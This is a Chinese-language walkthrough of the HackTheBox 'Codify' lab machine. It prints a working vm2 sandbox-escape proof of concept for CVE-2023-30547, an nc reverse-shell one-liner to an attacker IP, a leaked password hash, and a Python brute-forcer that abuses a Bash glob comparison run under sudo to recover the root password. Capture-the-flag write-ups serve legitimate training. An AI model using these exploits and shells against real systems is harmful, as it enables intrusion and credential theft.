HackTheBox?Codify! | xxxHackTheBox?Codify! – xxx
菜单

HackTheBox?Codify!

四月 25, 2024 - FreeBuf

阅读须知:

探索者安全团队技术文章仅供参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作,由于传播、利用本公众号所提供的技术和信息而造成的任何直接或者间接的后果及损失,均由使用者 本人负责,作者不为此承担任何责任,如有侵权烦请告知,我们会立即删除并致歉,创作不易转载请标明出处.感谢!

师傅: Breeze https://www.cnblogs.com/ForBreeze

信息搜集2

HackTheBox?Codify!

直接nmap端口扫描一下

HackTheBox?Codify!

只开放了22,80,3000端口

HackTheBox?Codify!

我们输入ip却变成了域名,我们将其写入hosts文件

echo “10.10.11.239 codify.htb” | sudo tee -a /etc/hosts

继续访问,发现访问成功

HackTheBox?Codify!

https://gist.github.com/leesh3288/381b230b04936dd4d74aaf90cc8bb244

点击about us,我们能知道这是用vm2来提供安全的沙盒环境

Vm2:

Vm2是一个库,为执行 JavaScript 代码提供安全的沙盒环境,主要用于 Node.js 等服务器端环境。它允许在受控环境中创建和运行 JavaScript 代码,通过将代码执行与主应用程序隔离来提供额外的安全层。因此,可以执行潜在不安全或不受信任的代码,而不会影响托管应用程序的稳定性或安全性。
当 vm2 位置不存在时,使用 Eval(一个 JS 函数)代替 vm2 位置,这会导致一些严重的安全问题。eval 和 vm2 库都与动态执行 JavaScript 代码相关。但如果用户输入直接传递给eval,则可以允许任意代码执行,而vm2提供了沙箱环境并限制对特定全局对象或函数的访问。
CVE-2023-30547:

为了防止主机异常泄漏到 vm2 沙箱中,使用Transformer()函数对代码进行预处理,该函数添加了handleException()清理函数调用。然而,该漏洞与 CatchClause 和 ObjectPattern 有关。
发生这种情况时,代码会调用handleException(),然后在嵌套的try-catch 块中重新抛出清理后的异常。用于清理, handleException()调用thisReflectGetPrototypeOf() ,这是一个使用Reflect.getPrototypeOf( )访问对象原型的函数。
此步骤对于正确的沙箱功能非常重要。当原型对象被代理并且存在getPrototypeOf()代理处理程序时,就会出现问题。这可能会引发未经处理的主机异常,然后由外部 catch 语句捕获该异常。 攻击者可以通过在getPrototypeOf()
代理处理程序内引发非代理主机异常来利用这一点。他们可以将其注册到一个对象并抛出它,从而将主机异常泄漏到沙箱中。通过访问泄露的主机异常,攻击者有可能逃离沙箱并获得对主机功能的访问权限,从而危及环境安全。简而言之,当主机环境中的异常可能泄漏到沙箱中时,就会出现此漏洞。由于使用ObjectPattern处理CatchClause ,可能会发生这种情况。为了利用此漏洞,攻击者可以使用特定技术引发主机异常,从而逃脱沙箱并访问主机功能。这会影响 3.9.16 及之前的 vm2 版本。成功利用该漏洞可以让攻击者绕过沙箱并执行任意代码。

我们赋值poc去验证

const {VM} = require("vm2");
const vm = new VM();

const code = `
err = {};
const handler = {
getPrototypeOf(target) {
(function stack() {
new Error().stack;
stack();
})();
}
};

const proxiedErr = new Proxy(err, handler);
try {
throw proxiedErr;
} catch ({constructor: c}) {
c.constructor('return process')().mainModule.require('child_process').execSync('touch pwned');
}
`

console.log(vm.run(code));

HackTheBox?Codify!

执行成功,说明有这个漏洞

利用CVE-2023-30547获取权限

我们在攻击机建立监听,监听本机的4444端口

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.14.23 4444 >/tmp/f

HackTheBox?Codify!

获得的是一个伪shell

我们用pty得到反弹shell

python3 -c ‘import pty;pty.spawn(“/bin/bash”)’

我们进入/var/www/contact文件夹查看数据库配置信息,得到

joshua$2a$12$SOn8Pf6z8fO/nVsNbAAequ/P6vLRJJl7gCUEiYBU2iLHn4G/p/Zw2

HackTheBox?Codify!

我们用john来爆破密码

HackTheBox?Codify!

我们直接登陆ssh账号

HackTheBox?Codify!

接下来用命令 id 查看一下用户信息,用sudo -l显示出自己(执行 sudo 的使用者)的权限 sudo -l

HackTheBox?Codify!

我们查看一下这个文件,因为我们可以直接以root权限运行它

#!/bin/bash
DB_USER="root"
DB_PASS=$(/usr/bin/cat /root/.creds)
BACKUP_DIR="/var/backups/mysql"

read -s -p "Enter MySQL password for $DB_USER: " USER_PASS
/usr/bin/echo

if [[ $DB_PASS == $USER_PASS ]]; then
/usr/bin/echo "Password confirmed!"
else
/usr/bin/echo "Password confirmation failed!"
exit 1
fi

/usr/bin/mkdir -p "$BACKUP_DIR"

databases=$(/usr/bin/mysql -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" -e "SHOW DATABASES;" | /usr/bin/grep -Ev "(Database|information_schema|performance_schema)")

for db in $databases; do
/usr/bin/echo "Backing up database: $db"
/usr/bin/mysqldump --force -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" "$db" | /usr/bin/gzip > "$BACKUP_DIR/$db.sql.gz"
done

/usr/bin/echo "All databases backed up successfully!"
/usr/bin/echo "Changing the permissions"
/usr/bin/chown root:sys-adm "$BACKUP_DIR"
/usr/bin/chmod 774 -R "$BACKUP_DIR"
/usr/bin/echo 'Done!'

分析

if [[ $DB_PASS == $USER_PASS ]]; then
/usr/bin/echo "Password confirmed!"
else
/usr/bin/echo "Password confirmation failed!"
exit 1
fi

脚本的这一部分将用户提供的密码 (USER_PASS) 与实际的数据库密码 (DB_PASS) 进行比较。此处的漏洞是由于在 Bash 中使用 [[ ]] 中的 == 所致,它执行模式匹配而不是直接字符串比较。这意味着用户输入 (USER_PASS) 被视为一种模式,如果它包含 * 或 ?等通配字符,则它可能会匹配意外的字符串。

例如,如果实际密码 (DB_PASS) 是 password,但是用户输入 * 作为其密码 (USER_PASS),则模式匹配将成功,因为 * 匹配任何字符串,从而导致未经授权的访问

那我们就可以写脚本爆破它的密码

# test.py 
import string
import subprocess
all = list(string.ascii_letters + string.digits)
password = ""
found = False

while not found:
for character in all:
command = f"echo '{password}{character}*' | sudo /opt/scripts/mysql-backup.sh"
output = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True).stdout

if "Password confirmed!" in output:
password += character
print(password)
break
else:
found = True

HackTheBox?Codify!

爆破出完整的密码

HackTheBox?Codify!

直接登陆root账号,拿到flag

# 漏洞 # web安全 # CTF # 网络安全技术
HackTheBox?Codify!

HackTheBox?Codify! 已在FreeBuf发表 0 篇文章
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022

Notice: Undefined variable: canUpdate in /var/www/html/wordpress/wp-content/plugins/wp-autopost-pro/wp-autopost-function.php on line 51